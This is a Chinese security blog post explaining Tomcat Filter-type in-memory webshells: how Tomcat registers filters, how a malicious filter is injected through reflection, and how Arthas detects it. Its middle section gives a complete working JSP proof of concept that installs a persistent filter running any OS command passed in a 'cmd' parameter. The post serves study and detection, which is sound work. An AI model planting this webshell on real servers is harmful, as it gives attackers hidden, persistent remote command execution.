文章首发于Secin:Filter内存马及工具检测

文章目录

  • 原理
  • Filter注册流程
  • Filter内存马注入
  • 内存马检测工具

原理

Servlet 有自己的过滤器filter,可以通过自定义的过滤器,来对用户的请求进行拦截等操作。

经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell,所以就需要我们想办法在最前方注册一个恶意的filter并执行。

Filter注册流程

先看一个正常的demo

filter.java

package memoryshell;import javax.servlet.*;
import java.io.IOException;public class filter implements Filter {public void init(FilterConfig filterConfig) throws ServletException {System.out.println("Filter 初始化创建");}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("执行过滤操作");filterChain.doFilter(servletRequest,servletResponse);}public void destroy() {System.out.println("Filter 销毁");}
}'']]

web.xml

<filter><filter-name>filter</filter-name><filter-class>memoryshell.filter</filter-class>
</filter>
<filter-mapping><filter-name>filter</filter-name><url-pattern>/*</url-pattern>
</filter-mapping>

运行后成功触发

之后再看几个会用到的类:

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml:存放 web.xml 中内容的类
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

接下来我们来分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的

调用栈

doFilter:13, filter (memoryshell)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1743, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

可以看到在StandardWrapperValve#invoke中,通过createFilterChain方法获得了一个ApplicationFilterChain类型的filterChain,其中包含了filters有两个值,而第一个值就包含了我们传入的自定义filter

跟进createFilterChain(),获取了request请求,在通过该请求获取了filterChain

再往下看,context获取了一个StandardContext()对象,接着用context获取了filterMaps主要就是filtername和path

之后经过循环逐一将filterMaps的值传入filterConfig,最后通过addFilter将其传入filterChain

跟进addFilter(),最后将值赋给了filters中

之后回到createFilterChain()的部分继续往下看,调用了filterChain的doFilter

跟进doFilter,最后的else部分调用了:

internalDoFilter(request,response);

跟进internalDoFilter(),将上边createFilterChain(),获取的filters[pos++]值传入filterConfig,接着传入filter,而这个filter也就是我们自定义的那个,所以最后执行filter.doFilter后,便跳转到了我们自定义的doFilter方法中输出了 ”执行过滤操作“

Filter内存马注入

在上边提到了这两行,当构造我们的filter链的时候 ,是从context中获取到的 FiltersMaps

StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

当我们能直接获取 request 的时候,我们这里可以直接将我们的 ServletContext 转为 StandardContext 从而获取 context

当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

还有其他的获取方法:

从线程中获取StandardContext

如果没有request对象的话可以从当前线程中获取

https://zhuanlan.zhihu.com/p/114625962

从MBean中获取

https://scriptboy.cn/p/tomcat-filter-inject/

获取Context后,发现这参数跟我们的fileter有关,所以尝试控制这部分注入内存马

  • filterMaps:一个HashMap对象,包含过滤器名字和URL映射
  • filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射
  • filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs

大致流程:

  • Filter
  • 利用 FilterDef 对 Filter 进行一个封装
  • 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  • 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启

 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);// 首先判断名字是否存在,如果不存在我们就进行注入if (filterConfigs.get(name) == null){// 创建恶意 FilterFilter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[1024];Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}};/*** 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类*/FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中standardContext.addFilterDef(filterDef);/*** 创建一个filtermap* 设置filter的名字和对应的urlpattern*/FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3filterMap.setDispatcher(DispatcherType.REQUEST.name());/*** 将filtermap 添加到 filterMaps 中的第一个位置*/standardContext.addFilterMapBefore(filterMap);/*** 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入*/Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);/*** 将 name 和 filterConfig 作为 key-value进行传入*/filterConfigs.put(name,filterConfig);out.print("Inject Success !");
}

最终poc

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%final String name = "Sentiment";ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);if (filterConfigs.get(name) == null){Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[1024];//Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}};FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());/*** 将filterDef添加到filterDefs中*/standardContext.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);out.print("Inject Success !");}
%>

注入成功,这里用到的是windows命令,linux命令需要用上边注释的那条

内存马检测工具

arthas:https://arthas.aliyun.com/arthas-boot.jar

alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)

java -jar arthas-boot.jar

选择我们 Tomcat 的进程

输入1进入进程

利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类

利用jad --source-only org.apache.jsp.filter_jsp$1 直接将 Class 进行反编译

可以监控进程,当我们访问 url 就会输出监控结果 watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'

D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar
[INFO] arthas-boot version: 3.6.2
[INFO] Process 13212 already using port 3658
[INFO] Process 13212 already using port 8563
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 13212 org.apache.catalina.startup.Bootstrap[2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36[3]: 11480 org.jetbrains.jps.cmdline.Launcher[4]: 19916
1
[INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658,---.  ,------. ,--------.,--.  ,--.  ,---.   ,---./  O  \ |  .--. ''--.  .--'|  '--'  | /  O  \ '   .-'
|  .-.  ||  '--'.'   |  |   |  .--.  ||  .-.  |`.  `-.
|  | |  ||  |\  \    |  |   |  |  |  ||  | |  |.-'    |
`--' `--'`--' '--'   `--'   `--'  `--'`--' `--'`-----'wiki       https://arthas.aliyun.com/doc
tutorials  https://arthas.aliyun.com/doc/arthas-tutorials.html
version    3.6.2
main_class
pid        13212
time       2022-07-17 12:10:04[arthas@13212]$ sc *.Filter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.Filter
javax.servlet.Filter
javax.servlet.GenericFilter
memoryshell.filter
org.apache.catalina.filters.CsrfPreventionFilter
org.apache.catalina.filters.CsrfPreventionFilterBase
org.apache.catalina.filters.FilterBase
org.apache.catalina.filters.HttpHeaderSecurityFilter
org.apache.jsp.filter_jsp$1
org.apache.tomcat.websocket.server.WsFilter
Affect(row-cnt:12) cost in 7 ms.
[arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1/** Decompiled with CFR.** Could not load the following classes:*  javax.servlet.Filter*  javax.servlet.FilterChain*  javax.servlet.FilterConfig*  javax.servlet.ServletException*  javax.servlet.ServletRequest*  javax.servlet.ServletResponse*  javax.servlet.http.HttpServletRequest*/package org.apache.jsp;import java.io.IOException;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;class filter_jsp.1implements Filter {filter_jsp.1() {}public void init(FilterConfig filterConfig) throws ServletException {}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {/*173*/         HttpServletRequest req = (HttpServletRequest)servletRequest;
/*174*/         if (req.getParameter("cmd") != null) {/*175*/             byte[] bytes = new byte[1024];Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
/*178*/             int len = process.getInputStream().read(bytes);
/*179*/             servletResponse.getWriter().write(new String(bytes, 0, len));
/*180*/             process.destroy();
/*181*/             return;}
/*183*/         filterChain.doFilter(servletRequest, servletResponse);}public void destroy() {}}[arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
Press Q or Ctrl+C to abort.
Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1
method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExit
ts=2022-07-17 12:23:35; [cost=0.7065ms] result=@ArrayList[@String[org.apache.jsp.filter_jsp$1],@String[memoryshell.filter],@String[org.apache.tomcat.websocket.server.WsFilter],
]

[Java安全]—Tomcat Filter内存马相关推荐

  1. Filter内存马浅析

    1. 何谓内存马? 以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启. Java内存shell有很多种,大 ...

  2. 新型 tomcat websocket 内存马检测与防护思路探究

    最近,看到网上有安全研究人员发布了一篇文章,描述了一款在 tomcat 的全新内存马,地址为:https://www.iculture.cc/forum-post/19128.html,该内存马基于 ...

  3. Java内存马攻防实战——攻击基础篇

    ​ 在红蓝对抗中,攻击方广泛应用webshell等技术在防守方提供的服务中植入后门,防守方也发展出各种技术来应对攻击,传统的落地型webshell很容易被攻击方检测和绞杀.而内存马技术则是通过在运行的 ...

  4. Java内存马简单实现

    文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...

  5. java内存马学习与理解

    文章目录 1. 前置知识 1.1 java web 核心组件 listener filter filter的生命周期 filter链 servlet 2. tomcat 2.1 核心组件 1. con ...

  6. java内存马分析集合

    基于tomcat Servlet内存马 web.xml <?xml version="1.0" encoding="UTF-8"?> <web ...

  7. 【Web安全】JSP内存马研究

    前言 最近在研究webshell免杀的问题,到了内存马免杀部分发现传统的Filter或者Servlet查杀手段比较多,不太容易实现免杀,比如有些工具会将所有注册的Servlet和Filter拿出来,排 ...

  8. 深入浅出内存马(一)

    深入浅出内存马(一) 0x01 简述 0x0101 Webshell技术历程 在Web安全领域,Webshell一直是一个非常重要且热门的话题.在目前传统安全领域,Webshell根据功能的不同分为三 ...

  9. Goby 利用内存马中的一些技术细节【技术篇】

    一.前言 投稿在 Goby 社区的内存马文章已经写了两篇,在第一篇<Shell中的幽灵王者-JAVAWEB 内存马 [认知篇]>中介绍了 JavaWeb 内存马技术的历史演变.分类,从认知 ...

最新文章

  1. hitTest练手例子
  2. 关于天线增益、发射角、阵列的一些见解
  3. Java中的注解是如何工作的?
  4. 此次边路调整系统推荐射手走哪路_王者荣耀:S15射手最新梯度排行,马可T2,狄仁杰T1,T0仅剩两位...
  5. 微软请你学Linux,最后4节课,即将收官,错过了就没有了!
  6. linux shell for循环使用命令中读取到的值实例
  7. Cover团队在Kovan以太坊测试网部署xCOVER智能合约
  8. LeetCode从读题到自闭:204. 计数质数
  9. python对象保存在哪_Python – 在本地保存请求或BeautifulSoup对象
  10. 写了一套优雅接口之后,领导让我给大家讲讲这背后的技术原理
  11. 数据库习题(填空题一)
  12. 获取百度网盘提取码的两种方法
  13. 三、unaipp小程序二维码生成
  14. win10远程控制ubuntu16.04
  15. VMware Workstation虚拟机无法共享主机网络解决方法
  16. 使用aspose.words将Word转为PDF
  17. 软骨鱼是WordPress构建SaaS平台的最优解决方案
  18. Material UI 带复选框表格获取选中值(索引)
  19. 计算两个日期之间的天数,你知道哪些函数能够计算呢?
  20. java线程池的正确使用方式,completableFuture

热门文章

  1. 致远项目管理SPM系统案例:陕西宏远建设集团项目管理系统
  2. 20221222今天的世界发生了什么
  3. 什么是股票基金?什么是债券基金?
  4. 算法提升:图的Dijkstra(迪杰斯特拉)算法
  5. android 文本表情,把文本内容变为表情包,Android开发还可以这样 玩?!
  6. Android网络编程基础(一) - 基础知识
  7. 你真的了解a ^= (b ^= (a ^= b))吗?
  8. 2022.1.31-2022.2.6 AI行业周刊(第83期):如何快速找到人工智能对标公司及产品模式?
  9. HMM学习一:前向和后向算法
  10. 新版带支付功能2021全新最火表情包小程序源码,无限裂变,斗图小程序,头像壁纸,外卖服务内附详细搭建教程